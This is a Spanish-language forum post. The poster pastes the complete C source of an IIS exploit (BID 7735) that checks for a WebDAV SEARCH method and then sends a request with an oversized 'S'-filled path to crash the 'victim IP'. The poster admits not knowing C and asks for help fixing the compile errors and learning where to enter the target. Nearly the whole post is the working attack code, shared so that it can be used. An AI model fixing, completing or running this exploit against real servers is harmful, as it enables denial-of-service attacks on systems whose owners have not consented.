Hola. Mi problema es que al compilar este exploit:
/*
IIS eXploit. by velan. Greetz to: Shashank Pandey a.k.a +(Neo1)+
Bid: 7735
*/
#define ERROR -1
#define OK 1
#ifdef HAVE_CONFIG_H
#include <config.h>
#endif
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
int check_for_iis();
void screw_iis();
void usage();
char IP[15];
int main(int argc, char *argv[])
{
/* cout << "Hello, World!" << endl; */
if(argc !=2)
{
usage(); exit(0);
}
printf("IIS eXploit. by velan. Greetz to: Shashank Pandey a.k.a +(Neo1)+\n");
strcpy(IP, argv[1]);
if(check_for_iis() != OK)
{
printf("Sorry, BAD LUCK! \n"); exit(0);
}
screw_iis();
return EXIT_SUCCESS;
}
int check_for_iis()
{
int sck, flag = 1;
struct sockaddr_in sin;
char req[50];
sck = socket(AF_INET, SOCK_STREAM, 0);
if(sck == ERROR)
{
perror("Socket error "); exit(0);
}
sin.sin_port = htons(80);
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(IP);
if ((connect(sck, (struct sockaddr *) &sin, sizeof(sin))) == -1)
{
perror("Connect Error "); exit(0);
}
strcpy(req, "GET / HTTP/1.0\r\n\n");
send(sck, req, sizeof(req), 0);
recv(sck, req, sizeof(req), 0);
if (strstr(req,"IIS") == NULL)
{
printf(" Not an IIS server! \n");
flag = 0;
}
sprintf(req,"SEARCH / HTTP/1.0\r\n\n",40);
send(sck, req, sizeof(req), 0);
recv(sck, req, sizeof(req), 0);
if (strstr(req,"HTTP/1.1 411 Length Required") == NULL)
{
printf("METHOD SEARCH NOT ALLOWED. \n");
flag = 0;
}
return(flag);
}
void screw_iis()
{
int sck, flag = 1;
struct sockaddr_in sin;
char junk[100];
char buffer[65535] ="";
char request[80000];
char content[] =
"<?xml version=\"1.0\"?>\r\n"
"<g:searchrequest xmlns:g=\"DAV:\">\r\n"
"<g:sql>\r\n"
"Select \"DAV:displayname\" from scope()\r\n"
"</g:sql>\r\n"
"</g:searchrequest>\r\n";
sck = socket(AF_INET, SOCK_STREAM, 0);
if(sck == ERROR)
{
perror("Socket error "); exit(0);
}
sin.sin_port = htons(80);
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(IP);
if ((connect(sck, (struct sockaddr *) &sin, sizeof(sin))) == -1)
{
perror("Connect Error "); exit(0);
}
buffer[sizeof(buffer)]=0x00;
memset(buffer,'S',sizeof(buffer));
memset(request,0,sizeof(request));
memset(junk,0,sizeof(junk));
sprintf(request,"SEARCH /%s HTTP/1.1\r\nHost: %s\r\nContent-type: text/xml\r\nCon
tent-Length: ",buffer,IP);
sprintf(request,"%s%d\r\n\r\n",request,strlen(content));
printf("\r\nScrewing the server... \n");
send(sck,request,strlen(request),0);
send(sck,content,strlen(content),0);
recv(sck,junk,sizeof(junk),0);
if(junk[0]==0x00)
{
printf("Server is Screwed! \r\n");
}
else
{
printf("BAD LUCK. Patched.\n");
}
}
void usage()
{
printf("IIS eXploit. by velan. Greetz to: Shashank Pandey a.k.a +(Neo1)+\n");
printf("Usage\r\n");
printf("Screw_IIS <victim IP>\n");
}
Aver si me podeis echar una mano porque aun no se c y no soy capaz de corregirle los errores al code ni donde introducir los datos. Muchas gracias y feliz navidad.
Autor